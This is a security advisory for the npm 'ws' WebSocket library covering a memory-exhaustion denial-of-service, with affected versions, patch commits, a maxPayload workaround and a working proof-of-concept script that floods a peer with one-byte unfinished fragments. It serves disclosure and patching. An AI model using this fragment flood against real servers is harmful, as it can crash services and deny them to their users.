GHSA-96hv-2xvq-fx4p ws: Memory exhaustion DoS from tiny fragments and data chunks

• npm ws: >= 1.1.0, < 5.2.5 → fixed in 5.2.5 • npm ws: >= 6.0.0, < 6.2.4 → fixed in 6.2.4 • npm ws: >= 7.0.0, < 7.5.11 → fixed in 7.5.11 • npm ws: >= 8.0.0, < 8.21.0 → fixed in 8.21.0

Impact A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM. Proof of concept ```js import { WebSocket, WebSocketServer } from 'ws'; const wss = new WebSocketServer({ port: 0 }, function () { const data = Buffer.alloc(1); const options = { fin: false }; const { port } = wss.address(); const ws = new WebSocket(`ws://localhost:${port}`); ws.on('open', function () { (function send() { ws.send(data, options, function (err) { if (err) return; send(); }); })(); }); ws.on('error', console.error); ws.on('close', function (code, reason) { console.log(`client close - code: ${code} reason: ${reason.toString()}`); }); }); wss.on('connection', function (ws) { ws.on('error', console.error); ws.on('close', function (code, reason) { console.log(`server close - code: ${code} reason: ${reason.toString()}`); }); }); ``` Patches The vulnerability was fixed in [email protected] (https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94) and backported to [email protected] (https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8), [email protected] (https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7), and [email protected] (https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53). Workarounds In vulnerable versions, the issue can be mitigated by lowering the value of the `maxPayload` option if possible. Credits The vulnerability was responsibly disclosed and fixed by Nadav Magier.